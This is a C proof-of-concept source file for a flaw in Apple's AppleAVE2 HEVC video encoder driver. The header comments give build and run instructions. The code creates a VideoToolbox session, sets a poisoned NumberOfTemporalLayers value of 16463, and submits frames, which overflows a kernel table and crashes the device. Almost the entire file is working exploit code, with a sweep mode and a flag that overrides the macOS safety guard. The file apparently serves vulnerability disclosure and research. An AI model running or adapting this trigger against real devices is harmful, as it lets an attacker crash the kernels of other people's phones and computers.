// ave.ntl · AppleAVE2 · VideoToolbox HEVC · CVE-2026-112705 // C twin of the Swift POC. Full trigger: HEVC session, private usage/rate-control // selectors, poisoned NumberOfTemporalLayers, one IOSurface frame submit. // // Setting 16463 and encoding once makes AppleAVE2 write past a fixed-size table. // On iOS 27.0-27.1 the kernel data-aborts on the first frame; 16462 survives. // iOS 27.2 refuses the property with -12900. // macOS runs the same driver: the encode is gated behind --force-host because it can // panic the host kernel. // // Primitive limit: the write is a constant fill at a fixed offset. There is no // address control and no value control, so this is a DoS primitive, not an // arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md. // // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \ // -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation // Run: ./cve-2026-112705 [layers] [--force-host] // ./cve-2026-112705 --sweep (property acceptance 0..12, no frame) #include #include #include #include #include #include #include #include static int32_t set_prop(VTCompressionSessionRef s, const char *key, CFTypeRef value) { CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8); int32_t st = VTSessionSetProperty(s, k, value); CFRelease(k); return st; } static void print_readback(VTCompressionSessionRef s, const char *key) { CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8); CFTypeRef out = NULL; int32_t st = VTSessionCopyProperty(s, k, kCFAllocatorDefault, &out); if (st == 0 && out) { CFStringRef d = CFCopyDescription(out); char buf[256] = {0}; if (d) { CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); CFRelease(d); } printf("%s\n", buf); CFRelease(out); } else { printf("copyErr=%d\n", st); } CFRelease(k); } int main(int argc, char **argv) { int layers = 16463; int force_host = 0; int sweep = 0; for (int i = 1; i < argc; i++) { if (strcmp(argv[i], "--force-host") == 0) force_host = 1; else if (strcmp(argv[i], "--sweep") == 0) sweep = 1; else if (atoi(argv[i]) > 0) layers = atoi(argv[i]); } VTCompressionSessionRef session = NULL; OSStatus create = VTCompressionSessionCreate(kCFAllocatorDefault, 1280, 720, kCMVideoCodecType_HEVC, NULL, NULL, NULL, NULL, NULL, &session); printf("VTCompressionSessionCreate(hvc1) status=%d\n", (int)create); if (create != 0 || !session) return 1; int one = 1, twenty = 20; CFNumberRef n1 = CFNumberCreate(NULL, kCFNumberIntType, &one); CFNumberRef n20 = CFNumberCreate(NULL, kCFNumberIntType, &twenty); int32_t su = set_prop(session, "EncoderUsage", n1); int32_t sr = set_prop(session, "RCMode", n20); CFRelease(n1); CFRelease(n20); set_prop(session, "RealTime", kCFBooleanFalse); printf("EncoderUsage=%d RCMode=%d\n", su, sr); if (sweep) { // 27.2 clamps the property to 0..7 (the new assertion string is // "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range. printf("sweep: NTL acceptance 0..12 (no frame submitted)\n"); for (int n = 0; n <= 12; n++) { CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n); int32_t st = set_prop(session, "NumberOfTemporalLayers", nv); CFRelease(nv); printf("NTL %2d: status=%d\n", n, st); } VTCompressionSessionInvalidate(session); CFRelease(session); return 0; } CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers); int32_t sn = set_prop(session, "NumberOfTemporalLayers", n); CFRelease(n); printf("NumberOfTemporalLayers=%d status=%d\n", layers, sn); printf("readback: "); print_readback(session, "NumberOfTemporalLayers"); if (sn != 0) { printf("property refused — fixed build (27.2+) or no AVE2 property here\n"); VTCompressionSessionInvalidate(session); CFRelease(session); return 0; } #if TARGET_OS_OSX if (!force_host) { printf("host guard: property accepted but no frame submitted.\n"); printf("a frame submit here can panic the macOS kernel through AppleAVE2.\n"); printf("re-run with --force-host on a disposable machine to fire it.\n"); VTCompressionSessionInvalidate(session); CFRelease(session); return 0; } #endif CFDictionaryRef empty = CFDictionaryCreate(NULL, NULL, NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionaryRef attrs = CFDictionaryCreate(NULL, (const void **)&kCVPixelBufferIOSurfacePropertiesKey, (const void **)&empty, 1, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CVPixelBufferRef pb = NULL; CVReturn pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs, &pb); printf("CVPixelBufferCreate status=%d\n", pc); CFRelease(attrs); CFRelease(empty); if (pc != 0 || !pb) { VTCompressionSessionInvalidate(session); CFRelease(session); return 1; } for (int i = 0; i < 4; i++) { CMTime pts = CMTimeMake(i, 30); VTEncodeInfoFlags flags = 0; OSStatus st = VTCompressionSessionEncodeFrame(session, pb, pts, kCMTimeInvalid, NULL, NULL, &flags); printf("encode[%d] status=%d\n", i, (int)st); if (st != 0) break; } VTCompressionSessionCompleteFrames(session, kCMTimeInvalid); printf("survived — this build does not panic\n"); CVPixelBufferRelease(pb); VTCompressionSessionInvalidate(session); CFRelease(session); return 0; }